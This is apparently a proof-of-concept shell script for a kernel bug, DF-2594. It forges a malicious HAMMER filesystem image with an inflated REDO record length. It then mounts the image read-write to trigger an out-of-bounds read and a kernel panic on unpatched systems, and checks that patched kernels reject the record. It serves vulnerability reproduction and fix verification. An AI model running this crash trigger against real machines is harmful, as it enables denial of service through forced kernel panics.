#!/bin/sh
# DF-2594 run: forge a malicious HAMMER image and mount it RW to trigger the
# unvalidated redo_data_bytes read in hammer_recover_redo_exec (Stage2 REDO
# recovery).  On the UNPATCHED kernel this panics (fatal trap 12 page fault in
# memmove during the vn_rdwr OOB read).  On a FIXED kernel the REDO record is
# rejected with EIO and the mount fails cleanly (no panic).
#
# Must run as root on the guest (mount requires root).
set -e

IMG=/root/ham2594.img
MP=/mnt/h

# 1. create + format a fresh HAMMER v7 image
vnconfig -u vn0 2>/dev/null || true
rm -f "$IMG"
dd if=/dev/zero of="$IMG" bs=1m count=0 seek=12288 >/dev/null 2>&1
vnconfig -c vn0 "$IMG"
newfs_hammer -f -L TEST /dev/vn0 >/dev/null 2>&1

# 2. create a victim regular file so hammer_recover_redo_exec's vn_rdwr has a
#    writable target inode (root dir objid=1 rejects VOP_WRITE with EINVAL)
mount_hammer /dev/vn0 "$MP"
echo test > "$MP/victim"
OBJID=$(ls -i "$MP/victim" | awk '{print $1}')
sync
umount "$MP"
vnconfig -u vn0

# 3. forge: inject a malicious REDO FIFO (REDO_WRITE w/ inflated redo_data_bytes
#    + REDO_SYNC + seqno-mismatch sentinel) targeting the victim inode
./forge "$IMG" 0x4000 "$OBJID"

# 4. mount RW -> Stage2 REDO recovery runs hammer_recover_redo_exec -> vn_rdwr
#    with the attacker-controlled redo_data_bytes -> OOB read -> panic (unpatched)
vnconfig -c vn0 "$IMG"
echo "=== mounting forged image (expect panic on unpatched kernel) ==="
mount_hammer /dev/vn0 "$MP" 2>&1
echo "MOUNT_RC=$?"